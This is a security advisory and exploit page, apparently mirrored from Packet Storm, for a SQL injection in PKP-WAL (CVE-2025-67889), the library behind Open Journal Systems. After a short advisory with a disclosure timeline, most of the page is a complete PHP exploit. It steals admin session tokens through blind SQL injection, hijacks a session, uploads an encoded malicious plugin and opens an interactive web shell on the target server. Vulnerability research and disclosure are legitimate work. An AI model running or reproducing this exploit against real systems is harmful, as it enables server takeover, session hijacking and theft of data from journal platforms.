Share
## https://sploitus.com/exploit?id=PACKETSTORM:213265
----------------------------------------------------------------------
    PKP-WAL <= 3.5.0-1 (Institution Collector) SQL Injection Vulnerability
    ----------------------------------------------------------------------
    
    
    [-] Software Links:
    
    https://pkp.sfu.ca
    https://github.com/pkp/pkp-lib
    
    
    [-] Affected Versions:
    
    PKP Web Application Library (aka PKP-WAL or pkp-lib) version 3.4.0-9
    and prior versions, and version 3.5.0-1 and prior versions, as used in
    Open Journal Systems (OJS), Open Monograph Press (OMP), and Open
    Preprint Systems (OPS).
    
    
    [-] Vulnerability Description:
    
    The vulnerability is located in the /classes/institution/Collector.php
    script. Specifically, into the Collector::getQueryBuilder() method,
    where user input passed through the "searchPhrase" GET parameter is
    not properly sanitized before being used to construct a SQL query at
    lines 143 and 148 by leveraging the DB::raw() method. This can be
    exploited by malicious users to e.g. read sensitive data from the
    database through boolean-based or time-based SQL Injection attacks.
    
    Successful exploitation of this vulnerability requires an account with
    permissions to access the .../api/v1/institutions API endpoint, such
    as a "Journal Editor" or "Production Editor" user account on OJS.
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/CVE-2025-67889.php
    
    
    [-] Solution:
    
    Upgrade to versions 3.4.0-10, 3.5.0-2, or later.
    
    
    [-] Disclosure Timeline:
    
    [25/10/2025] - Vendor notified
    [26/10/2025] - Vendor fixed the issue and opened a public GitHub
    issue: https://github.com/pkp/pkp-lib/issues/11977
    [12/11/2025] - CVE identifier requested
    [18/11/2025] - Version 3.4.0-10 released
    [12/12/2025] - CVE identifier assigned
    [29/11/2025] - Version 3.5.0-2 released
    [23/12/2025] - Publication of this advisory
    
    
    [-] CVE Reference:
    
    The Common Vulnerabilities and Exposures program (cve.org) has
    assigned the name CVE-2025-67889 to this vulnerability.
    
    
    [-] Credits:
    
    Vulnerability discovered by Egidio Romano.
    
    
    [-] Original Advisory:
    
    http://karmainsecurity.com/KIS-2025-10
    
    
    
    --- packet storm added poc ---
    
    <?php
    
    /*
        ----------------------------------------------------------------------
        PKP-WAL <= 3.5.0-1 (Institution Collector) SQL Injection Vulnerability
        ----------------------------------------------------------------------
        
        author..............: Egidio Romano aka EgiX
        mail................: n0b0d13s[at]gmail[dot]com
        software link.......: https://github.com/pkp/pkp-lib
        
        +-------------------------------------------------------------------------+
        | This proof of concept code was written for educational purpose only.    |
        | Use it at your own risk. Author will be not responsible for any damage. |
        +-------------------------------------------------------------------------+
        
        [-] Original Advisory:
    
        https://karmainsecurity.com/KIS-2025-10
    */
    
    set_time_limit(0);
    error_reporting(E_ERROR);
    
    if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
    
    if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");
    
    function sql_injection($sql)
    {
        global $ch, $url;
    
        curl_setopt($ch, CURLOPT_POST, false);
        
        $sql = str_replace(" ", "/**/", $sql);
        $min = true;
        $idx = 1;
    
        while (1)
        {
            $test = 256;
    
            for ($i = 7; $i >= 0; $i--)
            {
                $test = $min ? $test - pow(2, $i) : $test + pow(2, $i);
                $sqli = rawurlencode("')))OR(1)RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,1))#");
                curl_setopt($ch, CURLOPT_URL, "{$url}api/v1/institutions?searchPhrase={$sqli}");
                $min = preg_match("/Internal Server Error/i", curl_exec($ch));
            }
    
            if (($chr = $min ? $test - 1 : $test) == 0 or $chr == 255) break;
            $data .= chr($chr); $min = true; $idx++;
            print "\r[*] Token: {$data}";
        }
    
        return $data;
    }
    
    $url = $argv[1];
    $usr = $argv[2];
    $pwd = $argv[3];
    $ch  = curl_init();
    
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    //curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1:8080");
    
    print "[+] Performing login with username '{$usr}' and password '{$pwd}'\n";
    
    curl_setopt($ch, CURLOPT_URL, "{$url}login/signIn");
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["username" => $usr, "password" => $pwd]));
    
    $login = curl_exec($ch);
    
    if (!preg_match('/302 Found/i', $login)) die("[-] Login failed!\n");
    if (!preg_match_all('/Cookie: .*SID=([^;]+)/i', $login, $cookie)) die("[-] Session ID not found!\n");
    
    $sess_cookie = (count($cookie[0]) == 2) ? $cookie[0][1] : $cookie[0][0];
    
    curl_setopt($ch, CURLOPT_HTTPHEADER, [$sess_cookie]);
    
    $ch2 = curl_init();
    curl_setopt($ch2, CURLOPT_URL, $url.'../../dbscripts/xml/version.xml');
    curl_setopt($ch2, CURLOPT_HEADER, true);
    curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
    //curl_setopt($ch2, CURLOPT_PROXY, "http://127.0.0.1:8080");
    
    print "[+] Checking app version\n";
    
    if (preg_match('/<tag>3_5_0/', curl_exec($ch2)))
    {
    	print "[-] Version is 3.5.0.x\n";
    	$sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f UNION SELECT * FROM sessions";
    }
    else
    {
    	print "[-] Version is < 3.5.0\n";
    	$sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f, 7 g, 8 h, 9 i UNION SELECT * FROM sessions";
    }
    
    print "[+] Checking admin session tokens\n";
    
    $index = 0;
    $found = false;
    curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin');
    	
    while (!$found)
    {
    	print "\n[+] Fetching token number ".($index+1)."\n";
    
    	$sid = sql_injection("SELECT a FROM ({$sub_query}) x WHERE a!=1 AND b=1 ORDER BY a ASC LIMIT {$index},1");
    	
    	if (!strlen($sid)) die(($index == 0) ? "[-] No admin tokens found! :(\n" : "[-] No more tokens! :(\n");
    
    	curl_setopt($ch2, CURLOPT_HTTPHEADER, [substr($sess_cookie, 0, -strlen($sid)) . $sid]);
    
    	if (preg_match('/"csrfToken\\\\" value=\\\\"([^\\\\]+)/', curl_exec($ch2), $csrf)) $found = true;
    	else { print "\n[+] Not a valid token\n"; $index++; }
    }
    
    print "\n[+] Admin session token valid!\n\n[+] Uploading malicious plugin\n";
    
    $pluginName = "backup-v2_0_5-0.tar.gz";
    @file_put_contents($pluginName, base64_decode("H4sICBzk/2gAA2JhY2t1cC12Ml8wXzUtMC50YXIA7Zb7b9MwEMf7K/krTDWpncQSJ80D0awTbOUhBFRrmTQxVKWJSa15jhU7sIL2v3N5lHXTYAOtGyB/FMnN3eV8fnxdz6L4uBBWa51gjAOMUdX6XtVix63bGtSyPYz9APs48FrY9noe+L21VtVQSBXlUMpxRBWjnJMvMuN/kGc5kGX7F3A+p+6F+V1lVq+/nBPGTDEX66ijnBDfd8vWDjy82lbYjlPWFwTwA3vl+ju+57cQXkcxl1muP0np6a/irvP/o4Q7sOhI5JQr1JkCnT4SkZRqnhfdWSSJ704TEmcJ6W5Mx8P9g+H+h87LyWQ03e183NzsX/p0Z2Dc94g0v0Oj/88klzTj5ukJu/0+Kv27P9e/67m1/gMfDqge6L/n+I7W/10Q7sCSo2b5t9u2iduIcNA75el2+/3k+dbjNog6fLj3bndyOBouQ9H4cDwZvkFt07Tqh9GZJY6FlajEEqxIKT9oNhVY2pCi+XJgPAgjIRiNI1W+1jswtFZtEKIWggzqPNJMCSc5jUOrsoI3J4zA4TRwTGx6Jg6tpQF8SaTAgR1vC8MThFZlAAeLvi62WBYlAzu0zl/AEzM48gbPqkpGVZ+hVduM0PpR932v1Tpo9L869Fu/Blyn/8AJlvq3ezbE2S7cALX+74Lq/98weHRCpIhigp6ORkeN7I4a2R3Vm6RvGIUkaPT6POBFHVDvG/BXmkGrmwmRU0V4ItGFUOObgQBRzEDy6FPB41L2KIdJlork3Q04B0ia5YtHaENEag7NSUT5bsYV5HuVoG3EC8Y2n6BZlrEqV52xJCeqyDlSeUH6lfHMuLK3lKg9KgWLFm9h9F1IJhVcZtKr03WqK3Ln2oxExjkV5ettZKRyTBWpJ6174+Ge/ZdHlUaj0Wg0Go1Go9FoNBqNRqPRaDQajeYGfAcGciK9ACgAAA=="));
    
    curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin-file?function=upload');
    curl_setopt($ch2, CURLOPT_POSTFIELDS, ["name" => $pluginName, "uploadedFile" => new CURLFile($pluginName)]);
    
    if (!preg_match('/"temporaryFileId":(\d+)/', curl_exec($ch2), $fileId)) die("[-] Upload failed!\n");
    
    print "[+] Saving malicious plugin\n";
    
    curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/save-upload-plugin?function=upload');
    curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query(["temporaryFileId" => $fileId[1], "csrfToken" => $csrf[1]]));
    
    if (!preg_match('/"status":true/', curl_exec($ch2))) die("[-] Saving failed!\n");
    
    print "[+] Launching shell\n";
    
    curl_setopt($ch, CURLOPT_URL, "{$url}../../plugins/generic/backup/shell.php");
    curl_setopt($ch, CURLOPT_POST, false);
    
    while(1)
    {
    	print "\npkp-shell# ";
    	if (($cmd = trim(fgets(STDIN))) == "exit") break;
    	curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);
    	preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
    }